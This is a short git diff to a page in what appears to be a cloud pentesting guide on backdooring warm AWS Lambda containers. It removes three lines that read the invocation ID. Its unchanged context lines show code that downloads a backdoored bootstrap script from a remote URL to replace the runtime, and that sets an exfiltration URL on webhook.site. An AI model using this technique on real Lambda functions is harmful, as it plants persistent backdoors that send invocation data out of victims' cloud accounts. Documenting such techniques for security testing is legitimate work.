diff --git a/pentesting-cloud/aws-pentesting/aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md b/pentesting-cloud/aws-pentesting/aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md index ab9a48dc1e..591b40023f 100644 --- a/pentesting-cloud/aws-pentesting/aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md +++ b/pentesting-cloud/aws-pentesting/aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md @@ -59,10 +59,6 @@ http = urllib3.PoolManager() backdoored_bootstrap_url = "https://raw.githubusercontent.com/carlospolop/lambda_bootstrap_switcher/main/backdoored_bootstrap.py" new_runtime = http.request('GET', backdoored_bootstrap_url).data -# Get invocation id -resp = http.request("GET", "127.0.0.1:9001/2018-06-01/runtime/invocation/next") -invoke_id = resp.headers["Lambda-Runtime-Aws-Request-Id"] - # Load new bootstrap os.environ['URL_EXFIL'] = "https://webhook.site/c7036f43-ce42-442f-99a6-8ab21402a7c0"